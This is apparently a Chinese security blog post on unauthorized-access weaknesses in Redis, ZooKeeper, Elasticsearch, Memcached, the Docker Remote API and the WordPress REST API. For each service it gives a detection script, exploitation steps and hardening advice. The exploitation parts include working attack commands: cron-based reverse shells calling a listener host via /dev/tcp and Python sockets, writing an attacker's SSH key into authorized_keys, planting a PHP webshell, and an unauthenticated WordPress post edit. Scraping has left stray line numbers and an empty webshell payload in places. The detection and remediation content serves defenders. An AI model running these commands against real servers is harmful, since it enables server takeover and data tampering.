最近在研究未授权访问漏洞的检测方式,也写了一部分检测脚本,准确率还挺高。当然光有检测还是不够的,最好能有漏洞利用过程,这样也好证明漏洞的风险性,便于推动漏洞修复也便于自己对漏洞更深入的了解。
redis安装完以后,默认是没有账号密码的(安装redis详细可参考:redis相关笔记,如果redis是以root权限去运行,则可以被反弹shell或者写入ssh密钥,从而被获取服务器的权限。
1
2
3
4
5
6
7
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
print "exist vul"
客户端连接测试一下:
1
2
3
4
5
$redis-cli -h host -p port
>CONFIG get requirepass
"requirepass"
""
说明:表示没有设置密码,默认为没有密码。
自己服务器上监听一个端口(10.0.0.2)
1
nc -lvnp 4444
执行命令:
1
2
3
4
5
redis-cli -h 10.0.0.1
set x "\n* * * * * bash -i >& /dev/tcp/10.0.0.2/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
利用条件:
1
2
1.redis对外开放,且未授权访问(默认配置)
2.服务器的ssh对外开放,可通过key登录
详细攻击方式如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
准备好自己的公钥,写入本地文件text.txt。
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
2. 通过redis将该文件写入内存
$ redis-cli -h 10.0.0.1 flushall
$ cat test.txt | redis-cli -h 10.0.0.1 -x set crackit
3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
$ redis-cli -h 10.0.0.1
10.0.0.1:6379> config set dir /Users/nmask/.ssh/
OK
10.0.0.1:6379> config get dir
"dir"
"/Users/nmask/.ssh"
10.0.0.1:6379> config set dbfilename "authorized_keys"
OK
10.0.0.1:6379> save
OK
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。
1
2
3
4
config set dir /var/www/html/
config set dbfilename shell.php
set x ""
save
说明:执行以上命令,即可将shell写入web目录。
到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
requirepass www.secpulse.com
3、在需要对外开放的时候修改默认端口
port 2333
4、最后还可以配合iptables限制开放
安装zookeeper之后默认是没有账号密码的,即没有权限校验,可被远程利用,通过目标服务器收集敏感信息,或者破坏zookeeper集群。
1
2
3
4
5
6
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("envi")
result = s.recv(1024)
if "zookeeper.version" in result:
print "exist vul"
执行以下命令即可远程获取该服务器的环境:
1
echo envi | nc ip port
直接连接:
1
./zkCli.sh -server ip:port
1、禁止把Zookeeper直接暴露在公网
2、添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
3、绑定指定IP访问
ELK是一款日志分析工具,默认监听9200端口,如果没有设置访问权限,可被非法操作数据。
1
2
3
4
5
conn = httplib.HTTPConnection(ip, port, True, TIMEOUT)
conn.request("GET", '/_cat/master')
resp = conn.getresponse()
if resp.status == 200:
print "exist vul"
相当于一个API,任何人访问这个地址,就可以调用api,进行数据的增删改操作。
http://x.x.x.x:9200/\_nodes
http://x.x.x.x:9200/\_river
1、防火墙上设置禁止外网访问9200端口。
2、使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证
3、限制IP访问,绑定固定IP
4、在config/elasticsearch.yml中为9200端口设置认证:
1
2
3
4
http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
memcached是一套常用的key-value缓存系统,其本身并没有权限控制模块,因此攻击者通过命令交互可直接读取memcached中的敏感信息。
1
2
3
4
5
6
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("stats")
result = s.recv(1024)
if "STAT version" in result:
print "exist vul"
1
nc -vv 11211
说明:连接成功,则可获取memcached中的敏感信息。
1、设置memchached只允许本地访问
2、禁止外网访问Memcached 11211端口
3、编译时加上–enable-sasl,启用SASL认证
Docker Remote API是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。
1
2
3
4
5
conn = httplib.HTTPConnection(ip, port, True, TIMEOUT)
conn.request("GET", '/containers/json')
resp = conn.getresponse()
if resp.status == 200 and "HostConfig" in resp.read():
print "exist vul"
获取所有images
1
http://host:2375/containers/json
getshell的方式与redis利用差不多。
1
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
1、在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:
设置ACL,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket
2、客户端连接时需要设置以下环境变量export DOCKER_TLS_VERIFY=1
1
2
3
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
3、在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证
wordpress未经授权的攻击者利用该漏洞可注入恶意内容,以及进行提权,对文章、页面等内容进行修改。REST API是最近添加到WordPress 4.7.0并默认启用的。
查看文章列表:
1
GET /index.php/wp-json/wp/v2/posts HTTP/1.1
修改文章内容:
1
2
3
4
5
6
POST /index.php/wp-json/wp/v2/posts/500?id=500 HTTP/1.1
Host: xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Type: application/json
Content-Length: 43
{"title":"x x x x"}